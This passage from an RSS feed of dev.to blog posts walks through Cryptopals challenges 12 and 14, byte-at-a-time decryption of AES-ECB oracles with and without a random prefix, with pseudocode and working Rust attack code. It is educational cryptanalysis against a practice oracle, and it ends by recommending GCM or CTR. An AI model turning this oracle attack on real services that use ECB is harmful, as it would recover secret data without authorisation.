&lt;/div&gt;



&lt;p&gt;&lt;a id="orgcffc40c"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;You can check the whole implementation &lt;a href="https://github.com/danielorihuela/cryptopals/blob/main/src/set2/challenge13.rs" rel="noopener noreferrer"&gt;https://github.com/danielorihuela/cryptopals/blob/main/src/set2/challenge13.rs&lt;/a&gt;. It includes tests. One of them simulating the attack.&lt;/p&gt;

&lt;p&gt;&lt;a id="org5f4da93"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;The ECB cipher is simple but highly insecure due to its deterministic nature, which leaks patterns in the plaintext. This exercise demonstrates how easily it can be manipulated. Modern cryptographic systems should avoid ECB mode entirely and instead use secure modes of operation like Galois Counter Mode (GCM) or Counter Mode (CTR).&lt;/p&gt;

</description>
      <category>cryptography</category>
      <category>security</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>Cryptopals: Break an ECB encrypted message (hard)</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Mon, 28 Jul 2025 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/cryptopals-break-an-ecb-encrypted-message-hard-50mg</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/cryptopals-break-an-ecb-encrypted-message-hard-50mg</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwefgdcm9cyn9wtovan7f.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwefgdcm9cyn9wtovan7f.jpg" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
Break ECB mode (hard level)

&lt;ul&gt;
&lt;li&gt;Find the block size&lt;/li&gt;
&lt;li&gt;Check if oracle is using ECB mode&lt;/li&gt;
&lt;li&gt;Find the prefix length&lt;/li&gt;
&lt;li&gt;Break the first byte&lt;/li&gt;
&lt;li&gt;Break the following bytes&lt;/li&gt;
&lt;li&gt;Code&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Conclusion&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;In the last blog, we learned about ECB and how to break it. Today, we will continue with the topic and learn how to break it in a different setup. This post is related to&lt;a href="https://cryptopals.com/sets/2/challenges/14" rel="noopener noreferrer"&gt;https://cryptopals.com/sets/2/challenges/14&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Break ECB mode (hard level)
&lt;/h1&gt;

&lt;p&gt;For this exercise, the oracle won’t just append some data, but also prepend data of random length. Without further ado, let’s see the process.&lt;/p&gt;

&lt;h2&gt;
  
  
  Find the block size
&lt;/h2&gt;

&lt;p&gt;Same as in the previous blog.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check if oracle is using ECB mode
&lt;/h2&gt;

&lt;p&gt;Same as in the previous blog.&lt;/p&gt;

&lt;h2&gt;
  
  
  Find the prefix length
&lt;/h2&gt;

&lt;p&gt;Now that the oracle adds a prefix, we need to know the length of the prefix.&lt;/p&gt;

&lt;p&gt;To determine the prefix length, we first check if the prefix is smaller than the block size. This can be done by calling the oracle with inputs of zero and one byte, then comparing the first block of each ciphertext.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If the first blocks are different&lt;/strong&gt; , the prefix is smaller than the block size. In this case, we continue calling the oracle with inputs that increase by one byte at a time. When the first blocks of two consecutive ciphertexts become equal, we can calculate the prefix length as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;prefix length = block size - number of input bytes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;If the first blocks are the same&lt;/strong&gt; , the prefix is larger than the block size. Here, we determine how many full blocks the prefix occupies and how many bytes spill into the next block. To do this, we check how many blocks (from the beginning) remain identical in the ciphertexts generated with zero and one bytes. Then, we use the same approach as above to calculate the remaining bytes in the last block.&lt;/p&gt;

&lt;p&gt;Once we have the prefix length, we can proceed to the next step.&lt;/p&gt;

&lt;h2&gt;
  
  
  Break the first byte
&lt;/h2&gt;

&lt;p&gt;The idea is the same as in the previous blog. We only need to change a bit how we construct the input.&lt;/p&gt;

&lt;p&gt;We won’t use a string one byte shorter than the block size. We will use a string one byte shorter than the block size, plus the bytes to complete the last prefix block (if the last block isn’t equal to the block size). Completing the last prefix block makes sure the data we are interested in starts in the next block (not in the middle of it), and the block size minus one is used to isolate the first byte. As in the previous blog.&lt;/p&gt;

&lt;p&gt;Another difference is that we won’t take the first block of the ciphertext to compute the dictionary of possible ciphertexts, but the first block after the prefix.&lt;/p&gt;

&lt;h2&gt;
  
  
  Break the following bytes
&lt;/h2&gt;

&lt;p&gt;Same as in the previous blog. We just need to use the longer prefix as explained in the previous point.&lt;/p&gt;

&lt;p&gt;That’s about it. We are ready to see the final implementation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Implementation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pub fn attack_ecb_one_byte_at_a_time_prefix&amp;lt;F&amp;gt;(encrypt_fn: F) -&amp;gt; String
where
    F: Fn(&amp;amp;[u8]) -&amp;gt; Vec&amp;lt;u8&amp;gt;,
{
    let (block_size, padding_length) = compute_block_size_and_padding_length(&amp;amp;encrypt_fn);
    if !is_ecb(&amp;amp;encrypt_fn, block_size) {
        panic!("Data not encryped with ECB");
    }

    let prefix_length = prefix_length(&amp;amp;encrypt_fn, block_size);
    let prefix_trailing_bytes = prefix_length % block_size;
    let prefix_blocks = match prefix_trailing_bytes {
        0 =&amp;gt; prefix_length / block_size,
        _ =&amp;gt; (prefix_length / block_size) + 1,
    };

    let bytes_to_fill_last_prefix_block = match prefix_trailing_bytes {
        0 =&amp;gt; 0,
        _ =&amp;gt; block_size - prefix_trailing_bytes,
    };

    let mut plain = vec![0; block_size - 1];
    let num_target_bytes = encrypt_fn(&amp;amp;[]).len() - padding_length - prefix_length;
    for i in 0..num_target_bytes {
        let crafted_prefix = [
            &amp;amp;vec![0; bytes_to_fill_last_prefix_block],
            &amp;amp;plain[plain.len() - (block_size - 1)..],
        ]
            .concat();
        let ciphertext_block_to_character =
            brute_force_ciphertext_block(&amp;amp;encrypt_fn, &amp;amp;crafted_prefix, prefix_blocks, block_size);

        let raw_prefix =
            vec![0; bytes_to_fill_last_prefix_block + block_size - 1 - (i % block_size)];
        let ciphertext = encrypt_fn(&amp;amp;raw_prefix);
        let start = (prefix_blocks + (i / block_size)) * block_size;
        let end = start + block_size;
        let character = ciphertext_block_to_character
            .get(&amp;amp;ciphertext[start..end])
            .expect("Exists");

        plain.push(*character);
    }

    String::from_utf8(plain[block_size - 1..].to_vec()).expect("Valid plain message")
}

pub fn prefix_length&amp;lt;F&amp;gt;(encrypt_fn: F, block_size: usize) -&amp;gt; usize
where
    F: Fn(&amp;amp;[u8]) -&amp;gt; Vec&amp;lt;u8&amp;gt;,
{
    let ciphertext_a = encrypt_fn(&amp;amp;[]);
    let ciphertext_b = encrypt_fn(&amp;amp;[0]);
    let prefix_smaller_than_block_size = ciphertext_a[0..block_size] != ciphertext_b[0..block_size];
    if prefix_smaller_than_block_size {
        bytes_within_last_prefix_block(encrypt_fn, 0, block_size)
    } else {
        let blocks_in_prefix = full_blocks_within_prefix(&amp;amp;ciphertext_a, &amp;amp;ciphertext_b, block_size);

        let initial_bytes = blocks_in_prefix * block_size;
        let last_bytes = bytes_within_last_prefix_block(encrypt_fn, initial_bytes, block_size);
        initial_bytes + last_bytes
    }
}

fn full_blocks_within_prefix(ciphertext_a: &amp;amp;[u8], ciphertext_b: &amp;amp;[u8], block_size: usize) -&amp;gt; usize {
    let mut i = 0;
    while ciphertext_a[i..i + block_size] == ciphertext_b[i..i + block_size] {
        i += block_size;
    }

    i / block_size
}

fn bytes_within_last_prefix_block&amp;lt;F&amp;gt;(
    encryption_fn: F,
    block_position: usize,
    block_size: usize,
) -&amp;gt; usize
where
    F: Fn(&amp;amp;[u8]) -&amp;gt; Vec&amp;lt;u8&amp;gt;,
{
    let start = block_position;
    let end = block_position + block_size;
    let ciphertext_block = |length: usize| encryption_fn(&amp;amp;vec![0; length])[start..end].to_vec();

    let mut i = 0;
    while ciphertext_block(i) != ciphertext_block(i + 1) {
        i += 1;
    }

    match i &amp;lt; block_size {
        true =&amp;gt; block_size - i,
        false =&amp;gt; 0,
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;You can check the whole implementation&lt;a href="https://github.com/danielorihuela/cryptopals/blob/main/src/set2/challenge14.rs" rel="noopener noreferrer"&gt;https://github.com/danielorihuela/cryptopals/blob/main/src/set2/challenge14.rs&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;ECB with a prefix is still insecure.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Cryptopals: Break an ECB encrypted message (easy)</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Thu, 10 Jul 2025 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/cryptopals-break-an-ecb-encrypted-message-easy-40bo</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/cryptopals-break-an-ecb-encrypted-message-easy-40bo</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwefgdcm9cyn9wtovan7f.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwefgdcm9cyn9wtovan7f.jpg" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ECB block cipher mode&lt;/li&gt;
&lt;li&gt;
Break ECB mode (easy level)

&lt;ul&gt;
&lt;li&gt;Find the block size&lt;/li&gt;
&lt;li&gt;Check if oracle is using ECB mode&lt;/li&gt;
&lt;li&gt;Break the first byte&lt;/li&gt;
&lt;li&gt;Break the following bytes&lt;/li&gt;
&lt;li&gt;Code&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Conclusion&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Today, we will learn about the ECB block cipher mode, how it works, and how to break it. This post is related to&lt;a href="https://cryptopals.com/sets/2/challenges/12" rel="noopener noreferrer"&gt;https://cryptopals.com/sets/2/challenges/12&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  ECB block cipher mode
&lt;/h1&gt;

&lt;p&gt;The Electronic Code Book (ECB) is a block cipher mode of operation. Data is encrypted in blocks of fixed size and with the same key. Also, some bytes are added when the plaintext doesn’t have a length that is a multiple of the block size, known as &lt;code&gt;padding&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let &lt;code&gt;p&lt;/code&gt; be the plaintext, &lt;code&gt;c&lt;/code&gt; the ciphertext, &lt;code&gt;k&lt;/code&gt; the key, and &lt;code&gt;cipher&lt;/code&gt;any encryption algorithm. Assume that the ciphertext can be divided into blocks of length equal to &lt;code&gt;k&lt;/code&gt;, without any leftover bytes. For each &lt;code&gt;i&lt;/code&gt;from 0 to the number of blocks in the plaintext, we have that&lt;code&gt;c[i] = cipher(p[i], k)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The main issue with this mode is that it reuses the same key for all blocks. You might think that this shouldn’t be a problem. However, identical plain blocks will return the same encrypted blocks. It becomes apparent when you see the following images.&lt;/p&gt;

&lt;center&gt; Plain image &lt;/center&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl4mel5xgy7gd4r3nc05v.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl4mel5xgy7gd4r3nc05v.webp" width="265" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;center&gt; Image encrypted with ECB mode &lt;/center&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvt6es7xak1lj9fkc9w1e.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvt6es7xak1lj9fkc9w1e.webp" width="265" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The data was encrypted, but we can still see the penguin… more or less. Let’s see how we can break this block cipher mode.&lt;/p&gt;

&lt;h1&gt;
  
  
  Break ECB mode (easy level)
&lt;/h1&gt;

&lt;p&gt;Let’s pretend we have access to an encryption oracle that encrypts data in a particular way. It encrypts the result of appending some data to the user input. This oracle also knows the secret key.&lt;/p&gt;

&lt;p&gt;In rust, this could look like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Cipher function
pub fn encrypt(data: &amp;amp;[u8], key: &amp;amp;[u8]) -&amp;gt; Vec&amp;lt;u8&amp;gt; {
    let unknown_string = BASE64_STANDARD.decode(UNKNOWN_STRING).expect("Valid data");
    let data = [data, &amp;amp;unknown_string].concat();

    encrypt_aes_128_ecb(&amp;amp;data, key)
}

fn main() {
  ...
  let key = random_bytes(16);
  let encryption_fn = |data: &amp;amp;[u8]| encrypt(data, &amp;amp;key); // encryption oracle
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Of course, in a real scenario, we won’t implement the function ourselves. We will be given call access to it. With the preparation out of the way, let’s move into the first step for breaking ECB.&lt;/p&gt;

&lt;h2&gt;
  
  
  Find the block size
&lt;/h2&gt;

&lt;p&gt;We are using 128-bit block size, but we won’t have this information available in every situation. There’s a very simple way to discover the block size. Remember, ECB encrypts data in blocks of fixed size. Thus, if we find two inputs that return ciphertexts of different lengths, the difference must be the block size.&lt;/p&gt;

&lt;p&gt;To get familiar with this idea, let’s go to&lt;a href="https://www.devglan.com/online-tools/aes-encryption-decryption" rel="noopener noreferrer"&gt;https://www.devglan.com/online-tools/aes-encryption-decryption&lt;/a&gt; and play around with it. You will see that the result of encrypting strings between 1 and 15 characters returns ciphertexts of equal length. But, as soon as you encrypt a string with 16 characters, the ciphertext length increases. Take into account that the result is in base64 by default. Hence, the length increase won’t match the block size.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"a" -&amp;gt; "kc86jk6HnV9AtZ57SmbuJw=="
"aa" -&amp;gt; "UAGUUSk778f9tDRGTVKvYw=="
...
"a" * 16 -&amp;gt; "UOrlU8c7SzBd+8BGIi4CAJHPOo5Oh51fQLWee0pm7ic="
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s see an implementation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pub fn compute_block_size_and_padding_length&amp;lt;F&amp;gt;(encryption_fn: F) -&amp;gt; (usize, usize)
where
    F: Fn(&amp;amp;[u8]) -&amp;gt; Vec&amp;lt;u8&amp;gt;,
{
    let mut i = 0;
    let mut len_diff = 0;
    while len_diff == 0 {
        len_diff = encryption_fn(&amp;amp;vec![0; i + 1]).len() - encryption_fn(&amp;amp;vec![0; i]).len();
        i += 1;
    }

    (len_diff, i)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Computing the padding is not needed. It’s a nice-to-have. It helps with printing the original message, once broken, without the padding.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check if oracle is using ECB mode
&lt;/h2&gt;

&lt;p&gt;Again, we might not have this information readily available in a real situation. Thus, we must practice how we can check if ECB is being used.&lt;/p&gt;

&lt;p&gt;We will feed the encryption oracle with an unnecessarily long input that uses the same character over and over again. In the resulting ciphertext, we will check if all blocks are equal. If that’s the case, the oracle uses ECB mode. Remember that ECB uses the same key to encrypt different blocks. Hence, the same plain blocks return the same encrypted blocks.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;NOTE&lt;/p&gt;

&lt;p&gt;In this particular exercise, the oracle appends some unknown data. We need to check if the number of repeated blocks is greater or equal than the number of input ones. Some encrypted blocks could have the same value.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pub fn is_ecb&amp;lt;F&amp;gt;(encryption_fn: F, block_size: usize) -&amp;gt; bool
where
    F: Fn(&amp;amp;[u8]) -&amp;gt; Vec&amp;lt;u8&amp;gt;,
{
    let plain = vec![0; block_size * 100];
    let ciphertext = encryption_fn(&amp;amp;plain);

    max_repeated_block(&amp;amp;ciphertext) &amp;gt;= 100
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Break the first byte
&lt;/h2&gt;

&lt;p&gt;At a high level, what we want to do is isolate the first byte and brute-force the value. The general flow is more complex. Let’s start with the pseudocode to break the first byte.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;prefix = string of length block size - 1
ciphertext = encryption_oracle(prefix)

every_possible_ciphertext = empty dictionary
for each possible character
  current_prefix = prefix + character
  possible_ciphertext = encryption_oracle(current_prefix)
  store possible_ciphertext in every_possible_ciphertext

for (character, possible_ciphertext) in every_possible_ciphertext
  if ciphertext == possible_ciphertext
    return character
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s walk through the pseudocode step by step.&lt;/p&gt;

&lt;p&gt;First, we build an input to isolate the first byte of the unknown string. Since our input is one byte smaller than the block size, the first byte of the unknown string will move into the first block of data. Calling the oracle with that will give us the “actual” ciphertext.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Example

block_size = 16
unknown_string = "mydata..."
prefix = "a" x 15

Encryption oracle will use the following
data as input to be encrypted

data = "aaaaaaaaaaaaaaamydata..."
        | first block | second block
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We are in full control of the prefix. The only unknown is the last character. The one we want to decrypt.&lt;/p&gt;

&lt;p&gt;Second, we want to construct every possible ciphertext. For that, we will call the encryption oracle with each possible character that could appear in the message, appended to the prefix.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Example

We call the oracle with

input = "aaaaaaaaaaaaaaaa"
input = "aaaaaaaaaaaaaaab"
input = "aaaaaaaaaaaaaaac"
...
input = "aaaaaaaaaaaaaaaz"
input = "aaaaaaaaaaaaaaa!"
...
input = "aaaaaaaaaaaaaaa:"

and we create a dictionary

"a" -&amp;gt; first possible ciphertext
"b" -&amp;gt; second possible ciphertext
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Third and last step, we must find which of the possible ciphertexts is equal to the “actual” ciphertext. The one we got from calling the oracle with the prefix.&lt;/p&gt;

&lt;p&gt;With that, we broke the first byte. Hurray!!!&lt;/p&gt;

&lt;p&gt;In rust, it could look something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;let prefix = vec![0; block_size - 1];
let ciphertext_block_to_character = brute_force_ciphertext_block(&amp;amp;encrypt_fn, prefix, 0, block_size);
let ciphertext = encrypt_fn(&amp;amp;prefix);
let character = ciphertext_block_to_character.get(&amp;amp;ciphertext[0..16]).expect("Exists");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I’m leaving some functions and extra details out. We will see them in the next section.&lt;/p&gt;

&lt;h2&gt;
  
  
  Break the following bytes
&lt;/h2&gt;

&lt;p&gt;Breaking ECB is an iterative method. Breaking the second byte requires knowing the first byte. Breaking the third byte requires knowing the first and the second bytes. Breaking the nth byte requires knowing the previous “block size minus one” bytes.&lt;/p&gt;

&lt;p&gt;To break the message, we have to generalize the method used to break the first byte. With a bit of arithmetic, we can handle it. Let’s see the modified mechanisms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Extend crafted prefix&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To break the following byte, we will use all previous decrypted bytes. Prefixes will still be one byte smaller than the block size, but they will include the decrypted bytes preceding the byte we want to break. To accomplish that, on each iteration, we will append the last decrypted character and remove the first byte. That assures us that the difference between all the possible ciphertexts in the dictionary and the ciphertext we are searching for is only one byte. The last one. All previous bytes are known to us. Otherwise, the dictionary must be built based on many unknowns instead of one. One for each unknown character. It quickly gets intractable. That’s the reason we go byte by byte.&lt;/p&gt;

&lt;p&gt;In general, breaking the nth byte requires knowing the previous “block size minus one” bytes. This reduces the unknowns to one byte, which we can easily brute-force.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Example

block size = 16
unknown string = "random message data"

Iteration 1
prefix = "aaaaaaaaaaaaaaa"
          | used prefix |
we break the first byte and obtain "r"

Iteration 2
prefix = "aaaaaaaaaaaaaaar"
           | used prefix |
we break the second byte and obtain "a"

Iteration 3
prefix = "aaaaaaaaaaaaaaara"
            | used prefix |
we break the third byte and obtain "n"

...

Iteration n
prefix = "aaaaaaaaaaaaaaarandom message dat"
                            | used prefix |
we break the last byte and obtain "a"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Isolate following bytes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We need to accommodate the prefix to prepare the following byte we want to break. To accomplish that, we decrease the size of the prefix by one on each iteration. Once the prefix length is zero, we have broken all the bytes from the block. To break the following block, we come back to using a prefix of “block size minus one” characters and repeat the process.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Example

block size = 16
unknown string = "random message data"

Iteration 1
input = "a" x 15
encryption_oracle will encrypt "aaaaaaaaaaaaaaarandom message data"
                                | first block | second block |
we break the first byte and obtain "r" (first block)

Iteration 2
input = "a" x 14
encryption_oracle will encrypt "aaaaaaaaaaaaaarandom message data"
                                | first block | second block |
we break the second byte and obtain "a" (first block)

Iteration 3
input = "a" x 13
encryption_oracle will encrypt "aaaaaaaaaaaaarandom message data"
                                | first block | second block |
we break the third byte and obtain "n" (first block)

...

Iteration 16
input = ""
encryption_oracle will encrypt "random message data"
                                | first block | second block |
we break the sixteenth byte and obtain "d" (first block)
first block completed, we have to break the second block now

Iteration 17
input = "a" x 15
encryption_oracle will encrypt "aaaaaaaaaaaaaaarandom message data"
                                | first block | second block |
we break the seventeenth byte and obtain "a" (second block)

...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Brute-force the correct block&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I didn’t show it, but the function that creates the dictionary with all the possible ciphertexts only stores one block of data, not the whole ciphertext. That remains the same, but we have to make sure that we compare the correct ciphertext block against each possible ciphertext block in the dictionary.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;let start = (i / block_size) * block_size;
let end = start + block_size;
let character = ciphertext_block_to_character.get(&amp;amp;ciphertext[start..end]).expect("Exists");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s about it. We are ready to see the final implementation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Implementation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before moving forward, let me explain an important detail about the&lt;code&gt;brute_force_ciphertext_block&lt;/code&gt; function. This function returns a dictionary with every possible ciphertext. If you read the implementation, you will see that we always store the first block of the ciphertext. That might be confusing, but it has a simple explanation. The encryption oracle doesn’t prepend any information. Besides, to get every possibility, we only care about the prefix plus any given letter. At this step, the string appended by the oracle is irrelevant. We only care about the ciphertext of the data we are feeding in, which becomes the first block of the resulting ciphertext.&lt;/p&gt;

&lt;p&gt;That’s it. I just wanted to explain the inner workings of that function, so that’s clear what’s going on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pub fn attack_ecb_one_byte_at_a_time&amp;lt;F&amp;gt;(encrypt_fn: F) -&amp;gt; String
where
    F: Fn(&amp;amp;[u8]) -&amp;gt; Vec&amp;lt;u8&amp;gt;,
{
    let (block_size, padding_length) = compute_block_size_and_padding_length(&amp;amp;encrypt_fn);
    if !is_ecb(&amp;amp;encrypt_fn, block_size) {
        panic!("Data not encryped with ECB");
    }

    let mut plain = vec![0; block_size - 1];
    let num_target_bytes = encrypt_fn(&amp;amp;[]).len() - padding_length;
    for i in 0..num_target_bytes {
        let crafted_prefix = &amp;amp;plain[plain.len() - (block_size - 1)..];
        let ciphertext_block_to_character =
            brute_force_ciphertext_block(&amp;amp;encrypt_fn, crafted_prefix, 0, block_size);

        let raw_prefix = vec![0; block_size - 1 - (i % block_size)];
        let ciphertext = encrypt_fn(&amp;amp;raw_prefix);
        let start = (i / block_size) * block_size;
        let end = start + block_size;
        let character = ciphertext_block_to_character
            .get(&amp;amp;ciphertext[start..end])
            .expect("Exists");

        plain.push(*character);
    }

    String::from_utf8(plain[block_size - 1..].to_vec()).expect("Valid plain message")
}

pub fn brute_force_ciphertext_block&amp;lt;F&amp;gt;(
    encryption_fn: F,
    prefix: &amp;amp;[u8],
    block_position: usize,
    block_size: usize,
) -&amp;gt; HashMap&amp;lt;Vec&amp;lt;u8&amp;gt;, u8&amp;gt;
where
    F: Fn(&amp;amp;[u8]) -&amp;gt; Vec&amp;lt;u8&amp;gt;,
{
    let mut encrypted_block_to_character = HashMap::new();
    for i in 0..=255u8 {
        let prefix_with_character = [prefix, &amp;amp;[i]].concat().to_vec();
        let encrypted_data = encryption_fn(&amp;amp;prefix_with_character);
        let start = block_position * block_size;
        let end = start + block_size;
        let encrypted_block = encrypted_data[start..end].to_vec();
        encrypted_block_to_character.insert(encrypted_block, i);
    }

    encrypted_block_to_character
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;You can check the whole implementation&lt;a href="https://github.com/danielorihuela/cryptopals/blob/main/src/set2/challenge12.rs" rel="noopener noreferrer"&gt;https://github.com/danielorihuela/cryptopals/blob/main/src/set2/challenge12.rs&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;The ECB cipher is simple but highly insecure due to its deterministic nature, which leaks patterns in the plaintext. This exercise demonstrates how easily it can be broken. Modern cryptographic systems should avoid ECB mode entirely and instead use secure modes of operation like Galois Counter Mode (GCM) or Counter Mode (CTR).&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Cryptopals: Break a repeating-key XOR message</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Mon, 11 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/cryptopals-break-a-repeating-key-xor-message-1imp</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/cryptopals-break-a-repeating-key-xor-message-1imp</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwefgdcm9cyn9wtovan7f.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwefgdcm9cyn9wtovan7f.jpg" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
